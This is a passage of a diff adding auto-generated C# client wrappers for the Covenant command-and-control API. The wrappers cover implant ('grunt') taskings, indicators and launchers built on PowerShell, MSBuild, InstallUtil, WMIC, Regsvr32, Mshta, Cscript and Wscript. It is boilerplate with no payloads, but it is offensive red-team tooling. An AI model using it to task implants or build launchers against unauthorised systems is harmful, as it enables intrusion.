operations.ApiGruntsByIdTaskingsByTasknamePutAsync(id, taskname, gruntTasking).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiGruntsByIdTaskingsByTasknamePutAsync(this ICovenantAPI operations, int id, string taskname, GruntTasking gruntTasking = default(GruntTasking), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiGruntsByIdTaskingsByTasknamePutWithHttpMessagesAsync(id, taskname, gruntTasking, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + public static void ApiGruntsByIdTaskingsByTasknameDelete(this ICovenantAPI operations, int id, string taskname) + { + operations.ApiGruntsByIdTaskingsByTasknameDeleteAsync(id, taskname).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiGruntsByIdTaskingsByTasknameDeleteAsync(this ICovenantAPI operations, int id, string taskname, CancellationToken cancellationToken = default(CancellationToken)) + { + (await operations.ApiGruntsByIdTaskingsByTasknameDeleteWithHttpMessagesAsync(id, taskname, null, cancellationToken).ConfigureAwait(false)).Dispose(); + } + + /// + /// The operations group for this extension method. + /// + public static string ApiIndicatorsResultsGet(this ICovenantAPI operations) + { + return operations.ApiIndicatorsResultsGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task ApiIndicatorsResultsGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiIndicatorsResultsGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static IList ApiIndicatorsGet(this ICovenantAPI operations) + { + return operations.ApiIndicatorsGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task> ApiIndicatorsGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiIndicatorsGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static Indicator ApiIndicatorsPut(this ICovenantAPI operations, Indicator indicator = default(Indicator)) + { + return operations.ApiIndicatorsPutAsync(indicator).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiIndicatorsPutAsync(this ICovenantAPI operations, Indicator indicator = default(Indicator), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiIndicatorsPutWithHttpMessagesAsync(indicator, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static Indicator ApiIndicatorsPost(this ICovenantAPI operations, Indicator indicator = default(Indicator)) + { + return operations.ApiIndicatorsPostAsync(indicator).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiIndicatorsPostAsync(this ICovenantAPI operations, Indicator indicator = default(Indicator), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiIndicatorsPostWithHttpMessagesAsync(indicator, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static IList ApiIndicatorsFilesGet(this ICovenantAPI operations) + { + return operations.ApiIndicatorsFilesGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task> ApiIndicatorsFilesGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiIndicatorsFilesGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static IList ApiIndicatorsNetworksGet(this ICovenantAPI operations) + { + return operations.ApiIndicatorsNetworksGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task> ApiIndicatorsNetworksGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiIndicatorsNetworksGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static IList ApiIndicatorsTargetsGet(this ICovenantAPI operations) + { + return operations.ApiIndicatorsTargetsGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task> ApiIndicatorsTargetsGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiIndicatorsTargetsGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static Indicator ApiIndicatorsByIdGet(this ICovenantAPI operations, int id) + { + return operations.ApiIndicatorsByIdGetAsync(id).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiIndicatorsByIdGetAsync(this ICovenantAPI operations, int id, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiIndicatorsByIdGetWithHttpMessagesAsync(id, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static void ApiIndicatorsByIdDelete(this ICovenantAPI operations, int id) + { + operations.ApiIndicatorsByIdDeleteAsync(id).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiIndicatorsByIdDeleteAsync(this ICovenantAPI operations, int id, CancellationToken cancellationToken = default(CancellationToken)) + { + (await operations.ApiIndicatorsByIdDeleteWithHttpMessagesAsync(id, null, cancellationToken).ConfigureAwait(false)).Dispose(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static FileIndicator ApiIndicatorsFilesByIdGet(this ICovenantAPI operations, int id) + { + return operations.ApiIndicatorsFilesByIdGetAsync(id).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiIndicatorsFilesByIdGetAsync(this ICovenantAPI operations, int id, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiIndicatorsFilesByIdGetWithHttpMessagesAsync(id, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static NetworkIndicator ApiIndicatorsNetworksByIdGet(this ICovenantAPI operations, int id) + { + return operations.ApiIndicatorsNetworksByIdGetAsync(id).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiIndicatorsNetworksByIdGetAsync(this ICovenantAPI operations, int id, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiIndicatorsNetworksByIdGetWithHttpMessagesAsync(id, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static TargetIndicator ApiIndicatorsTargetsByIdGet(this ICovenantAPI operations, int id) + { + return operations.ApiIndicatorsTargetsByIdGetAsync(id).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiIndicatorsTargetsByIdGetAsync(this ICovenantAPI operations, int id, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiIndicatorsTargetsByIdGetWithHttpMessagesAsync(id, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static IList ApiLaunchersGet(this ICovenantAPI operations) + { + return operations.ApiLaunchersGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task> ApiLaunchersGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static BinaryLauncher ApiLaunchersBinaryGet(this ICovenantAPI operations) + { + return operations.ApiLaunchersBinaryGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersBinaryGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersBinaryGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static BinaryLauncher ApiLaunchersBinaryPut(this ICovenantAPI operations, BinaryLauncher binaryLauncher = default(BinaryLauncher)) + { + return operations.ApiLaunchersBinaryPutAsync(binaryLauncher).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersBinaryPutAsync(this ICovenantAPI operations, BinaryLauncher binaryLauncher = default(BinaryLauncher), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersBinaryPutWithHttpMessagesAsync(binaryLauncher, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static BinaryLauncher ApiLaunchersBinaryPost(this ICovenantAPI operations) + { + return operations.ApiLaunchersBinaryPostAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersBinaryPostAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersBinaryPostWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static BinaryLauncher ApiLaunchersBinaryHostedPost(this ICovenantAPI operations, HostedFile hostedFile = default(HostedFile)) + { + return operations.ApiLaunchersBinaryHostedPostAsync(hostedFile).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersBinaryHostedPostAsync(this ICovenantAPI operations, HostedFile hostedFile = default(HostedFile), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersBinaryHostedPostWithHttpMessagesAsync(hostedFile, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static PowerShellLauncher ApiLaunchersPowershellGet(this ICovenantAPI operations) + { + return operations.ApiLaunchersPowershellGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersPowershellGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersPowershellGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static PowerShellLauncher ApiLaunchersPowershellPut(this ICovenantAPI operations, PowerShellLauncher powerShellLauncher = default(PowerShellLauncher)) + { + return operations.ApiLaunchersPowershellPutAsync(powerShellLauncher).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersPowershellPutAsync(this ICovenantAPI operations, PowerShellLauncher powerShellLauncher = default(PowerShellLauncher), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersPowershellPutWithHttpMessagesAsync(powerShellLauncher, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static PowerShellLauncher ApiLaunchersPowershellPost(this ICovenantAPI operations) + { + return operations.ApiLaunchersPowershellPostAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersPowershellPostAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersPowershellPostWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static PowerShellLauncher ApiLaunchersPowershellHostedPost(this ICovenantAPI operations, HostedFile hostedFile = default(HostedFile)) + { + return operations.ApiLaunchersPowershellHostedPostAsync(hostedFile).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersPowershellHostedPostAsync(this ICovenantAPI operations, HostedFile hostedFile = default(HostedFile), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersPowershellHostedPostWithHttpMessagesAsync(hostedFile, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static MSBuildLauncher ApiLaunchersMsbuildGet(this ICovenantAPI operations) + { + return operations.ApiLaunchersMsbuildGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersMsbuildGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersMsbuildGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static MSBuildLauncher ApiLaunchersMsbuildPut(this ICovenantAPI operations, MSBuildLauncher msbuildLauncher = default(MSBuildLauncher)) + { + return operations.ApiLaunchersMsbuildPutAsync(msbuildLauncher).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersMsbuildPutAsync(this ICovenantAPI operations, MSBuildLauncher msbuildLauncher = default(MSBuildLauncher), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersMsbuildPutWithHttpMessagesAsync(msbuildLauncher, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static MSBuildLauncher ApiLaunchersMsbuildPost(this ICovenantAPI operations) + { + return operations.ApiLaunchersMsbuildPostAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersMsbuildPostAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersMsbuildPostWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static MSBuildLauncher ApiLaunchersMsbuildHostedPost(this ICovenantAPI operations, HostedFile hostedFile = default(HostedFile)) + { + return operations.ApiLaunchersMsbuildHostedPostAsync(hostedFile).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersMsbuildHostedPostAsync(this ICovenantAPI operations, HostedFile hostedFile = default(HostedFile), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersMsbuildHostedPostWithHttpMessagesAsync(hostedFile, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static InstallUtilLauncher ApiLaunchersInstallutilGet(this ICovenantAPI operations) + { + return operations.ApiLaunchersInstallutilGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersInstallutilGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersInstallutilGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static InstallUtilLauncher ApiLaunchersInstallutilPut(this ICovenantAPI operations, InstallUtilLauncher installutilLauncher = default(InstallUtilLauncher)) + { + return operations.ApiLaunchersInstallutilPutAsync(installutilLauncher).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersInstallutilPutAsync(this ICovenantAPI operations, InstallUtilLauncher installutilLauncher = default(InstallUtilLauncher), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersInstallutilPutWithHttpMessagesAsync(installutilLauncher, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static InstallUtilLauncher ApiLaunchersInstallutilPost(this ICovenantAPI operations) + { + return operations.ApiLaunchersInstallutilPostAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersInstallutilPostAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersInstallutilPostWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static InstallUtilLauncher ApiLaunchersInstallutilHostedPost(this ICovenantAPI operations, HostedFile hostedFile = default(HostedFile)) + { + return operations.ApiLaunchersInstallutilHostedPostAsync(hostedFile).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersInstallutilHostedPostAsync(this ICovenantAPI operations, HostedFile hostedFile = default(HostedFile), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersInstallutilHostedPostWithHttpMessagesAsync(hostedFile, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static WmicLauncher ApiLaunchersWmicGet(this ICovenantAPI operations) + { + return operations.ApiLaunchersWmicGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersWmicGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersWmicGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static WmicLauncher ApiLaunchersWmicPut(this ICovenantAPI operations, WmicLauncher wmicLauncher = default(WmicLauncher)) + { + return operations.ApiLaunchersWmicPutAsync(wmicLauncher).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersWmicPutAsync(this ICovenantAPI operations, WmicLauncher wmicLauncher = default(WmicLauncher), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersWmicPutWithHttpMessagesAsync(wmicLauncher, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static WmicLauncher ApiLaunchersWmicPost(this ICovenantAPI operations) + { + return operations.ApiLaunchersWmicPostAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersWmicPostAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersWmicPostWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static WmicLauncher ApiLaunchersWmicHostedPost(this ICovenantAPI operations, HostedFile hostedFile = default(HostedFile)) + { + return operations.ApiLaunchersWmicHostedPostAsync(hostedFile).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersWmicHostedPostAsync(this ICovenantAPI operations, HostedFile hostedFile = default(HostedFile), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersWmicHostedPostWithHttpMessagesAsync(hostedFile, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static Regsvr32Launcher ApiLaunchersRegsvr32Get(this ICovenantAPI operations) + { + return operations.ApiLaunchersRegsvr32GetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersRegsvr32GetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersRegsvr32GetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static Regsvr32Launcher ApiLaunchersRegsvr32Put(this ICovenantAPI operations, Regsvr32Launcher regsvr32Launcher = default(Regsvr32Launcher)) + { + return operations.ApiLaunchersRegsvr32PutAsync(regsvr32Launcher).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersRegsvr32PutAsync(this ICovenantAPI operations, Regsvr32Launcher regsvr32Launcher = default(Regsvr32Launcher), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersRegsvr32PutWithHttpMessagesAsync(regsvr32Launcher, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static Regsvr32Launcher ApiLaunchersRegsvr32Post(this ICovenantAPI operations) + { + return operations.ApiLaunchersRegsvr32PostAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersRegsvr32PostAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersRegsvr32PostWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static Regsvr32Launcher ApiLaunchersRegsvr32HostedPost(this ICovenantAPI operations, HostedFile hostedFile = default(HostedFile)) + { + return operations.ApiLaunchersRegsvr32HostedPostAsync(hostedFile).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersRegsvr32HostedPostAsync(this ICovenantAPI operations, HostedFile hostedFile = default(HostedFile), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersRegsvr32HostedPostWithHttpMessagesAsync(hostedFile, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static MshtaLauncher ApiLaunchersMshtaGet(this ICovenantAPI operations) + { + return operations.ApiLaunchersMshtaGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersMshtaGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersMshtaGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static MshtaLauncher ApiLaunchersMshtaPut(this ICovenantAPI operations, MshtaLauncher mshtaLauncher = default(MshtaLauncher)) + { + return operations.ApiLaunchersMshtaPutAsync(mshtaLauncher).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersMshtaPutAsync(this ICovenantAPI operations, MshtaLauncher mshtaLauncher = default(MshtaLauncher), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersMshtaPutWithHttpMessagesAsync(mshtaLauncher, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static MshtaLauncher ApiLaunchersMshtaPost(this ICovenantAPI operations) + { + return operations.ApiLaunchersMshtaPostAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersMshtaPostAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersMshtaPostWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static MshtaLauncher ApiLaunchersMshtaHostedPost(this ICovenantAPI operations, HostedFile hostedFile = default(HostedFile)) + { + return operations.ApiLaunchersMshtaHostedPostAsync(hostedFile).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersMshtaHostedPostAsync(this ICovenantAPI operations, HostedFile hostedFile = default(HostedFile), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersMshtaHostedPostWithHttpMessagesAsync(hostedFile, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static CscriptLauncher ApiLaunchersCscriptGet(this ICovenantAPI operations) + { + return operations.ApiLaunchersCscriptGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersCscriptGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersCscriptGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static CscriptLauncher ApiLaunchersCscriptPut(this ICovenantAPI operations, CscriptLauncher cscriptLauncher = default(CscriptLauncher)) + { + return operations.ApiLaunchersCscriptPutAsync(cscriptLauncher).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersCscriptPutAsync(this ICovenantAPI operations, CscriptLauncher cscriptLauncher = default(CscriptLauncher), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersCscriptPutWithHttpMessagesAsync(cscriptLauncher, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static CscriptLauncher ApiLaunchersCscriptPost(this ICovenantAPI operations) + { + return operations.ApiLaunchersCscriptPostAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersCscriptPostAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersCscriptPostWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static CscriptLauncher ApiLaunchersCscriptHostedPost(this ICovenantAPI operations, HostedFile hostedFile = default(HostedFile)) + { + return operations.ApiLaunchersCscriptHostedPostAsync(hostedFile).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersCscriptHostedPostAsync(this ICovenantAPI operations, HostedFile hostedFile = default(HostedFile), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersCscriptHostedPostWithHttpMessagesAsync(hostedFile, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static WscriptLauncher ApiLaunchersWscriptGet(this ICovenantAPI operations) + { + return operations.ApiLaunchersWscriptGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersWscriptGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersWscriptGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static WscriptLauncher ApiLaunchersWscriptPut(this ICovenantAPI operations, WscriptLauncher wscriptLauncher = default(WscriptLauncher)) + { + return operations.ApiLaunchersWscriptPutAsync(wscriptLauncher).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersWscriptPutAsync(this ICovenantAPI operations, WscriptLauncher wscriptLauncher = default(WscriptLauncher), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersWscriptPutWithHttpMessagesAsync(wscriptLauncher, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static WscriptLauncher ApiLaunchersWscriptPost(this ICovenantAPI operations) + { + return 